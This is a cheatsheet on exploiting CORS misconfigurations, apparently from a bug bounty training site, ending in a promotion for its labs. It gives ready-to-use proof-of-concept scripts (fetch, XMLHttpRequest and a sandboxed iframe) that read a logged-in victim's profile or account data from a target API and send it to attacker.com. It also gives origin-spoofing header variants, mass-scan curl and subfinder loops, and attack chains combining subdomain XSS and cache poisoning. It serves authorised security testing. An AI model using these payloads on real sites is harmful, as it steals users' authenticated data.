CORS Cheatsheet

Cross-Origin Resource Sharing

Quick reference

  • A CORS misconfiguration is only exploitable if Access-Control-Allow-Credentials: true
  • A wildcard (*) in ACAO doesn't allow credentials — not directly exploitable
  • If the origin is reflected exactly, try variations: null, subdomains, prefixes
  • Combine with subdomain XSS: CORS trusts *.target.com + XSS on sub.target.com
  • Cache poisoning + CORS can affect every user, not just the victim

Detecting a CORS misconfiguration

Reflected OriginIf the response contains Access-Control-Allow-Origin: https://evil.com + Credentials: true = exploitable

Origin: https://evil.com

Null OriginSandboxed pages (iframes) send a null origin

Origin: null

Target's subdomainIf it accepts any subdomain, look for XSS on subdomains

Origin: https://evil.target.com

Domain prefix

Origin: https://target.com.evil.com

Domain suffix

Origin: https://eviltarget.com

Exploitation PoC

Exfiltrate data with fetch

<script>
fetch('https://target.com/api/user/profile', {credentials: 'include'})
.then(r => r.json())
.then(d => fetch('https://attacker.com/steal?data=' + btoa(JSON.stringify(d))));
</script>

PoC with XMLHttpRequest

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://target.com/api/account', true);
xhr.withCredentials = true;
xhr.onload = function() {
  fetch('https://attacker.com/log?data=' + encodeURIComponent(xhr.responseText));
};
xhr.send();
</script>

Null Origin via iframe sandboxiframe sandbox sends Origin: null

<iframe sandbox="allow-scripts" srcdoc="<script>
fetch('https://target.com/api/me', {credentials:'include'})
.then(r=>r.text())
.then(d=>fetch('https://attacker.com/?d='+btoa(d)));
</script>"></iframe>

Testing methodology

Mass scan with httpx

cat alive.txt | parallel -j 50 curl -sk -H "Origin: https://evil.com" -o /dev/null -D - {} | grep -i "access-control"

Subfinder + CORS check

subfinder -d target.com | httpx -silent | while read url; do
  curl -s -H "Origin: https://evil.com" "$url" -D - | grep -i "access-control"
done

CORS attack chains

XSS on subdomain + CORSSubdomain takeover + CORS is a classic chain

1. Encontrar XSS en sub.target.com
2. CORS acepta Origin: https://sub.target.com
3. Desde XSS: fetch datos autenticados de target.com
4. Exfiltrar via XSS callback

CORS + cache poisoning

1. Enviar request con Origin: evil.com
2. Si la respuesta se cachea CON el header ACAO
3. Otros usuarios reciben la respuesta cacheada
4. El browser permite cross-origin desde evil.com

Tools

CORScanner

Automated scanner for CORS misconfigurations across multiple domains

python3 cors_scan.py -i targets.txt -t 50

Corsy

Detects CORS misconfigurations with multiple Origin variations

python3 corsy.py -u https://target.com

curl manual

Quick manual check of CORS headers

curl -s -H "Origin: https://evil.com" -I https://target.com/api/me | grep -i access-control

Ready to practice?

Put these payloads to work in real labs based on bug bounty reports.

See practice labs
hunters training
650

hunters training

labs from real reports
50

labs from real reports

completions
380

completions

in bounties practiced
$200,000

in bounties practiced

40 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy
BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.

No card · free Academy · cancel anytime